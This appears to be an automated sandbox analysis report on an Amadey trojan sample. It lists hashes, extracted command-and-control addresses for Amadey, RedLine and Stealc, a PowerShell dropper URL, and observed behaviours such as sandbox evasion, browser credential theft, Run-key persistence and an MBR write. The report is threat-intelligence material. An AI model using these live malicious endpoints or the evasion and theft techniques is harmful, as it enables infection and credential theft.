amadey | e7824fff5b683ad4df57bdc846e3763a507b76c3bfb369325f6ee117f6bf23f0

Analysis

max time kernel
150s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20250217-en
resource tags

arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system
submitted
18-02-2025 18:05

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

dfb3dd74837e1f931c4456bd18eb5a8d.exe
Size

2.0MB
MD5

dfb3dd74837e1f931c4456bd18eb5a8d
SHA1

51dd5849ef9ca1779d755ba5596691ea9a539bab
SHA256

e7824fff5b683ad4df57bdc846e3763a507b76c3bfb369325f6ee117f6bf23f0
SHA512

23e32188f617c067bec46d00c4be97af76253a2962be1defb7c17d074d0fb4c98865f2fcf8f78ece729d30996f64fe3414610c2d5dcc5dcc1f48f4ce765dd550
SSDEEP

49152:mT6dCGskIPZMTwxw1j5Qb2MBPeIKQIcF3E1Wu4T1u:u6dCWVwxkj2bF19XlV1

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://185.215.113.16/mine/random.exe

Extracted

Family

amadey

Version

4.42

Botnet

9c9aa5

http://185.215.113.43

Attributes

install_dir
abc3bc1985
install_file
skotes.exe
strings_key
8a35cf2ea38c2817dba29a4b5b25dcf0
url_paths
/Zu7JuNko/index.php

rc4.plain

Extracted

Family

redline

Botnet

cheat

103.84.89.222:33791

Extracted

Family

stealc

Botnet

default

http://ecozessentials.com

Attributes

url_path
/e6cb1c8fc7cd1659.php

Extracted

Family

stealc

Botnet

reno

http://185.215.113.115

Attributes

url_path
/c4becf79229cb002.php

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey
Amadey family
amadey
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline
Redline family
redline
SectopRAT
SectopRAT is a remote access trojan first seen in November 2019.
trojan rat sectoprat

SectopRAT payload 2 IoCs

resource	yara_rule
behavioral2/memory/3856-189-0x0000000000E60000-0x00000000012D8000-memory.dmp	family_sectoprat
behavioral2/memory/3856-190-0x0000000000E60000-0x00000000012D8000-memory.dmp	family_sectoprat

Sectoprat family
sectoprat
Stealc
Stealc is an infostealer written in C++.
stealer stealc
Stealc family
stealc

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 19 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	dfb3dd74837e1f931c4456bd18eb5a8d.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	ba60aa84c6.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	4c417d357a.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	e8aae7c912.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	d2YQIJa.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	skotes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	TempS02VHSEZVG5JIUUFTGHW3I3U2XAFMY2Y.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	skotes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	sHN20me.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	0bdfe5e472.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	c24c96d9d3.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	d2YQIJa.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	skotes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Fe36XBk.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	ViGgA8C.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	8b4f2ce5c5.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	spoDnGT.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	m5UP2Yj.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	e26c372fd5.exe

Blocklisted process makes network request 64 IoCs

flow	pid	Process
69	1208	powershell.exe
72	1208	powershell.exe
78	1208	powershell.exe
81	1208	powershell.exe
94	1208	powershell.exe
96	1208	powershell.exe
102	1208	powershell.exe
105	1208	powershell.exe
112	1208	powershell.exe
120	1208	powershell.exe
129	1208	powershell.exe
132	1208	powershell.exe
133	1208	powershell.exe
134	1208	powershell.exe
135	1208	powershell.exe
136	1208	powershell.exe
137	1208	powershell.exe
138	1208	powershell.exe
142	1208	powershell.exe
143	1208	powershell.exe
144	1208	powershell.exe
145	1208	powershell.exe
146	1208	powershell.exe
147	1208	powershell.exe
158	1208	powershell.exe
161	1208	powershell.exe
162	1208	powershell.exe
163	1208	powershell.exe
166	1208	powershell.exe
168	1208	powershell.exe
169	1208	powershell.exe
170	1208	powershell.exe
173	1208	powershell.exe
176	1208	powershell.exe
178	1208	powershell.exe
180	1208	powershell.exe
183	1208	powershell.exe
187	1208	powershell.exe
188	1208	powershell.exe
189	1208	powershell.exe
190	1208	powershell.exe
191	1208	powershell.exe
192	1208	powershell.exe
194	1208	powershell.exe
195	1208	powershell.exe
196	1208	powershell.exe
199	1208	powershell.exe
207	1208	powershell.exe
212	1208	powershell.exe
215	1208	powershell.exe
216	1208	powershell.exe
219	1208	powershell.exe
222	1208	powershell.exe
226	1208	powershell.exe
229	1208	powershell.exe
230	1208	powershell.exe
235	1208	powershell.exe
241	1208	powershell.exe
254	1208	powershell.exe
274	1208	powershell.exe
284	1208	powershell.exe
286	1208	powershell.exe
288	1208	powershell.exe
297	1208	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4852	powershell.exe
4344	powershell.exe
2056	powershell.exe

Downloads MZ/PE file 32 IoCs

flow	pid	Process
10	3568	skotes.exe
10	3568	skotes.exe
10	3568	skotes.exe
10	3568	skotes.exe
10	3568	skotes.exe
10	3568	skotes.exe
10	3568	skotes.exe
10	3568	skotes.exe
10	3568	skotes.exe
10	3568	skotes.exe
10	3568	skotes.exe
10	3568	skotes.exe
10	3568	skotes.exe
10	3568	skotes.exe
10	3568	skotes.exe
10	3568	skotes.exe
10	3568	skotes.exe
10	3568	skotes.exe
10	3568	skotes.exe
10	3568	skotes.exe
10	3568	skotes.exe
276	3568	skotes.exe
276	3568	skotes.exe
276	3568	skotes.exe
276	3568	skotes.exe
319	4656	futors.exe
319	4656	futors.exe
319	4656	futors.exe
244	3568	skotes.exe
347	2056	powershell.exe
462	4656	futors.exe
522	4656	futors.exe

Uses browser remote debugging 2 TTPs 9 IoCs

Can be used control the browser and steal sensitive information such as credentials and session cookies.

credential_access stealer

Steal Web Session Cookie

T1539

Modify Authentication Process

T1556

pid	Process
3012	msedge.exe
2992	msedge.exe
2428	chrome.exe
5300	msedge.exe
2396	chrome.exe
5944	msedge.exe
5304	msedge.exe
4652	chrome.exe
2560	chrome.exe

Checks BIOS information in registry 2 TTPs 38 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	d2YQIJa.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	TempS02VHSEZVG5JIUUFTGHW3I3U2XAFMY2Y.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	d2YQIJa.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	0bdfe5e472.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	TempS02VHSEZVG5JIUUFTGHW3I3U2XAFMY2Y.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	spoDnGT.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	c24c96d9d3.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	8b4f2ce5c5.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	8b4f2ce5c5.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	d2YQIJa.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	c24c96d9d3.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	ba60aa84c6.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	dfb3dd74837e1f931c4456bd18eb5a8d.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Fe36XBk.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	spoDnGT.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	e26c372fd5.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	e8aae7c912.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	ba60aa84c6.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	ViGgA8C.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	ViGgA8C.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	e26c372fd5.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	0bdfe5e472.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	4c417d357a.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	e8aae7c912.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	dfb3dd74837e1f931c4456bd18eb5a8d.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Fe36XBk.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	sHN20me.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	sHN20me.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	m5UP2Yj.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	m5UP2Yj.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	4c417d357a.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	d2YQIJa.exe

Checks computer location settings 2 TTPs 10 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1874072718-2205492803-118941907-1000\Control Panel\International\Geo\Nation	dfb3dd74837e1f931c4456bd18eb5a8d.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1874072718-2205492803-118941907-1000\Control Panel\International\Geo\Nation	Setup_2024.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1874072718-2205492803-118941907-1000\Control Panel\International\Geo\Nation	amnew.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1874072718-2205492803-118941907-1000\Control Panel\International\Geo\Nation	futors.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1874072718-2205492803-118941907-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1874072718-2205492803-118941907-1000\Control Panel\International\Geo\Nation	7aencsM.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1874072718-2205492803-118941907-1000\Control Panel\International\Geo\Nation	skotes.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1874072718-2205492803-118941907-1000\Control Panel\International\Geo\Nation	setup.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1874072718-2205492803-118941907-1000\Control Panel\International\Geo\Nation	Setup_2024.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1874072718-2205492803-118941907-1000\Control Panel\International\Geo\Nation	setup.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MyPayload.bat	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MyPayload.bat	powershell.exe

Executes dropped EXE 60 IoCs

pid	Process
3568	skotes.exe
1652	01ccd043a7.exe
2068	01ccd043a7.exe
4032	13Z5sqy.exe
744	jonbDes.exe
4196	Bjkm5hE.exe
3512	Bjkm5hE.exe
2440	Fe36XBk.exe
3856	ViGgA8C.exe
4124	DTQCxXZ.exe
1688	TaVOM7x.exe
1432	d2YQIJa.exe
4732	skotes.exe
1508	sHN20me.exe
396	spoDnGT.exe
3116	Ta3ZyUR.exe
5072	Ta3ZyUR.exe
4852	qFqSpAp.exe
400	m5UP2Yj.exe
3116	jROrnzx.exe
1016	jROrnzx.exe
2768	7aencsM.exe
620	7aencsM.exe
4164	Setup_2024.exe
2876	setup.exe
3604	amnew.exe
4656	futors.exe
5316	e26c372fd5.exe
5760	0bdfe5e472.exe
4992	3955c2bc0a.exe
1688	trano1221.exe
5864	trano1221.exe
1212	f87108fa87.exe
5440	skotes.exe
4440	con12312211221.exe
5756	futors.exe
6092	con12312211221.exe
3152	TempS02VHSEZVG5JIUUFTGHW3I3U2XAFMY2Y.EXE
1412	4c417d357a.exe
6012	monthdragon.exe
1032	monthdragon.exe
2768	monthdragon.exe
4992	monthdragon.exe
5124	c24c96d9d3.exe
5888	12321321.exe
4188	e8aae7c912.exe
5800	alex12112.exe
5868	alex12112.exe
2132	ba60aa84c6.exe
1068	eb297ca644.exe
6024	adf030da0c.exe
6000	8b4f2ce5c5.exe
2188	8b4f2ce5c5.exe
1456	Setup_2024.exe
628	setup.exe
3068	jROrnzx.exe
5480	jROrnzx.exe
3924	d2YQIJa.exe
5724	qFqSpAp.exe
2132	DTQCxXZ.exe

Identifies Wine through registry keys 2 TTPs 19 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1874072718-2205492803-118941907-1000\Software\Wine	dfb3dd74837e1f931c4456bd18eb5a8d.exe
Key opened	\REGISTRY\USER\S-1-5-21-1874072718-2205492803-118941907-1000\Software\Wine	d2YQIJa.exe
Key opened	\REGISTRY\USER\S-1-5-21-1874072718-2205492803-118941907-1000\Software\Wine	e26c372fd5.exe
Key opened	\REGISTRY\USER\S-1-5-21-1874072718-2205492803-118941907-1000\Software\Wine	skotes.exe
Key opened	\REGISTRY\USER\S-1-5-21-1874072718-2205492803-118941907-1000\Software\Wine	e8aae7c912.exe
Key opened	\REGISTRY\USER\S-1-5-21-1874072718-2205492803-118941907-1000\Software\Wine	8b4f2ce5c5.exe
Key opened	\REGISTRY\USER\S-1-5-21-1874072718-2205492803-118941907-1000\Software\Wine	d2YQIJa.exe
Key opened	\REGISTRY\USER\S-1-5-21-1874072718-2205492803-118941907-1000\Software\Wine	skotes.exe
Key opened	\REGISTRY\USER\S-1-5-21-1874072718-2205492803-118941907-1000\Software\Wine	spoDnGT.exe
Key opened	\REGISTRY\USER\S-1-5-21-1874072718-2205492803-118941907-1000\Software\Wine	0bdfe5e472.exe
Key opened	\REGISTRY\USER\S-1-5-21-1874072718-2205492803-118941907-1000\Software\Wine	TempS02VHSEZVG5JIUUFTGHW3I3U2XAFMY2Y.EXE
Key opened	\REGISTRY\USER\S-1-5-21-1874072718-2205492803-118941907-1000\Software\Wine	c24c96d9d3.exe
Key opened	\REGISTRY\USER\S-1-5-21-1874072718-2205492803-118941907-1000\Software\Wine	ViGgA8C.exe
Key opened	\REGISTRY\USER\S-1-5-21-1874072718-2205492803-118941907-1000\Software\Wine	sHN20me.exe
Key opened	\REGISTRY\USER\S-1-5-21-1874072718-2205492803-118941907-1000\Software\Wine	m5UP2Yj.exe
Key opened	\REGISTRY\USER\S-1-5-21-1874072718-2205492803-118941907-1000\Software\Wine	skotes.exe
Key opened	\REGISTRY\USER\S-1-5-21-1874072718-2205492803-118941907-1000\Software\Wine	Fe36XBk.exe
Key opened	\REGISTRY\USER\S-1-5-21-1874072718-2205492803-118941907-1000\Software\Wine	4c417d357a.exe
Key opened	\REGISTRY\USER\S-1-5-21-1874072718-2205492803-118941907-1000\Software\Wine	ba60aa84c6.exe

Loads dropped DLL 31 IoCs

pid	Process
5864	trano1221.exe
5864	trano1221.exe
5864	trano1221.exe
5864	trano1221.exe
5864	trano1221.exe
5864	trano1221.exe
5864	trano1221.exe
5864	trano1221.exe
5864	trano1221.exe
5864	trano1221.exe
5864	trano1221.exe
5864	trano1221.exe
5864	trano1221.exe
5864	trano1221.exe
5864	trano1221.exe
5864	trano1221.exe
5864	trano1221.exe
5864	trano1221.exe
5864	trano1221.exe
5864	trano1221.exe
5864	trano1221.exe
5864	trano1221.exe
5864	trano1221.exe
5864	trano1221.exe
5864	trano1221.exe
5864	trano1221.exe
5864	trano1221.exe
5864	trano1221.exe
5864	trano1221.exe
5864	trano1221.exe
5864	trano1221.exe

Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 6 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1874072718-2205492803-118941907-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\3955c2bc0a.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1086066001\\3955c2bc0a.exe"	skotes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1874072718-2205492803-118941907-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\f87108fa87.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1086067001\\f87108fa87.exe"	skotes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1874072718-2205492803-118941907-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\eb297ca644.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10007520101\\eb297ca644.exe"	futors.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1874072718-2205492803-118941907-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\8b4f2ce5c5.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10007530101\\8b4f2ce5c5.exe"	futors.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1874072718-2205492803-118941907-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\e26c372fd5.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1086064001\\e26c372fd5.exe"	skotes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1874072718-2205492803-118941907-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\0bdfe5e472.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1086065001\\0bdfe5e472.exe"	skotes.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PHYSICALDRIVE0	Fe36XBk.exe

AutoIT Executable 2 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral2/files/0x0008000000023d11-1104.dat	autoit_exe
behavioral2/files/0x0007000000023d26-1252.dat	autoit_exe

Checks system information in the registry 2 TTPs 4 IoCs

System information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer	setup.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName	setup.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer	setup.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName	setup.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 19 IoCs

pid	Process
2784	dfb3dd74837e1f931c4456bd18eb5a8d.exe
3568	skotes.exe
2440	Fe36XBk.exe
3856	ViGgA8C.exe
1432	d2YQIJa.exe
4732	skotes.exe
1508	sHN20me.exe
396	spoDnGT.exe
400	m5UP2Yj.exe
5316	e26c372fd5.exe
5760	0bdfe5e472.exe
5440	skotes.exe
3152	TempS02VHSEZVG5JIUUFTGHW3I3U2XAFMY2Y.EXE
1412	4c417d357a.exe
5124	c24c96d9d3.exe
4188	e8aae7c912.exe
2132	ba60aa84c6.exe
6000	8b4f2ce5c5.exe
3924	d2YQIJa.exe

Suspicious use of SetThreadContext 12 IoCs

description	pid	Process	procid_target
PID 1652 set thread context of 2068	1652	01ccd043a7.exe	90
PID 4196 set thread context of 3512	4196	Bjkm5hE.exe	98
PID 4032 set thread context of 1964	4032	13Z5sqy.exe	115
PID 3116 set thread context of 5072	3116	Ta3ZyUR.exe	121
PID 1688 set thread context of 2932	1688	TaVOM7x.exe	125
PID 3116 set thread context of 1016	3116	jROrnzx.exe	129
PID 2768 set thread context of 620	2768	7aencsM.exe	135
PID 4440 set thread context of 6092	4440	con12312211221.exe	199
PID 6012 set thread context of 4992	6012	monthdragon.exe	211
PID 5800 set thread context of 5868	5800	alex12112.exe	225
PID 3068 set thread context of 5480	3068	jROrnzx.exe	263
PID 6000 set thread context of 4652	6000	8b4f2ce5c5.exe	266

UPX packed file 20 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/5864-1241-0x00007FFA5D910000-0x00007FFA5DEF9000-memory.dmp	upx
behavioral2/memory/5864-1244-0x00007FFA6DA60000-0x00007FFA6DA83000-memory.dmp	upx
behavioral2/memory/5864-1245-0x00007FFA76F80000-0x00007FFA76F8F000-memory.dmp	upx
behavioral2/memory/5864-1246-0x00007FFA6F220000-0x00007FFA6F239000-memory.dmp	upx
behavioral2/memory/5864-1247-0x00007FFA75410000-0x00007FFA7541D000-memory.dmp	upx
behavioral2/memory/5864-1265-0x00007FFA6D900000-0x00007FFA6D92D000-memory.dmp	upx
behavioral2/memory/5864-1264-0x00007FFA6DA40000-0x00007FFA6DA59000-memory.dmp	upx
behavioral2/memory/5864-1268-0x00007FFA6D740000-0x00007FFA6D776000-memory.dmp	upx
behavioral2/memory/5864-1269-0x00007FFA71620000-0x00007FFA7162D000-memory.dmp	upx
behavioral2/memory/5864-1270-0x00007FFA6D5D0000-0x00007FFA6D603000-memory.dmp	upx
behavioral2/memory/5864-1277-0x00007FFA5D840000-0x00007FFA5D90D000-memory.dmp	upx
behavioral2/memory/5864-1273-0x00007FFA5D910000-0x00007FFA5DEF9000-memory.dmp	upx
behavioral2/memory/5864-1280-0x00007FFA6DA60000-0x00007FFA6DA83000-memory.dmp	upx
behavioral2/memory/5864-1278-0x00007FFA5D320000-0x00007FFA5D840000-memory.dmp	upx
behavioral2/memory/5864-1281-0x00007FFA6CDD0000-0x00007FFA6CE9F000-memory.dmp	upx
behavioral2/memory/5864-1282-0x00007FFA6F220000-0x00007FFA6F239000-memory.dmp	upx
behavioral2/memory/5864-1283-0x00007FFA5D140000-0x00007FFA5D1C7000-memory.dmp	upx
behavioral2/memory/5864-1284-0x00007FFA6DA20000-0x00007FFA6DA34000-memory.dmp	upx
behavioral2/memory/5864-1286-0x00007FFA714E0000-0x00007FFA714EB000-memory.dmp	upx
behavioral2/memory/5864-1285-0x00007FFA6D900000-0x00007FFA6D92D000-memory.dmp	upx

Drops file in Program Files directory 6 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\Office 2024 Installer\setup.exe	Setup_2024.exe
File created	C:\Program Files (x86)\Office 2024 Installer\Click To Run.bat	Setup_2024.exe
File created	C:\Program Files (x86)\Office 2024 Installer\configuration.xml	Setup_2024.exe
File opened for modification	C:\Program Files (x86)\Office 2024 Installer\setup.exe	Setup_2024.exe
File opened for modification	C:\Program Files (x86)\Office 2024 Installer\Click To Run.bat	Setup_2024.exe
File opened for modification	C:\Program Files (x86)\Office 2024 Installer\configuration.xml	Setup_2024.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\skotes.job	dfb3dd74837e1f931c4456bd18eb5a8d.exe
File created	C:\Windows\Tasks\futors.job	amnew.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Detects Pyinstaller 1 IoCs

pyinstaller

resource	yara_rule
behavioral2/files/0x0007000000023cfb-1124.dat	pyinstaller

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 12 IoCs

pid	pid_target	Process	procid_target
1564	1652	WerFault.exe	88
4448	4196	WerFault.exe	97
4500	3116	WerFault.exe	120
1764	3116	WerFault.exe	127
1220	400	WerFault.exe	126
2484	2768	WerFault.exe	134
5980	4440	WerFault.exe	195
5484	6012	WerFault.exe	208
1672	1412	WerFault.exe	204
2436	5800	WerFault.exe	224
5104	2132	WerFault.exe	228
6012	3068	WerFault.exe	261

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DTQCxXZ.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	amnew.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	8b4f2ce5c5.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Fe36XBk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	m5UP2Yj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	TempS02VHSEZVG5JIUUFTGHW3I3U2XAFMY2Y.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	4c417d357a.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language	eb297ca644.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	d2YQIJa.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	skotes.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	01ccd043a7.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BitLockerToGo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jROrnzx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	3955c2bc0a.exe
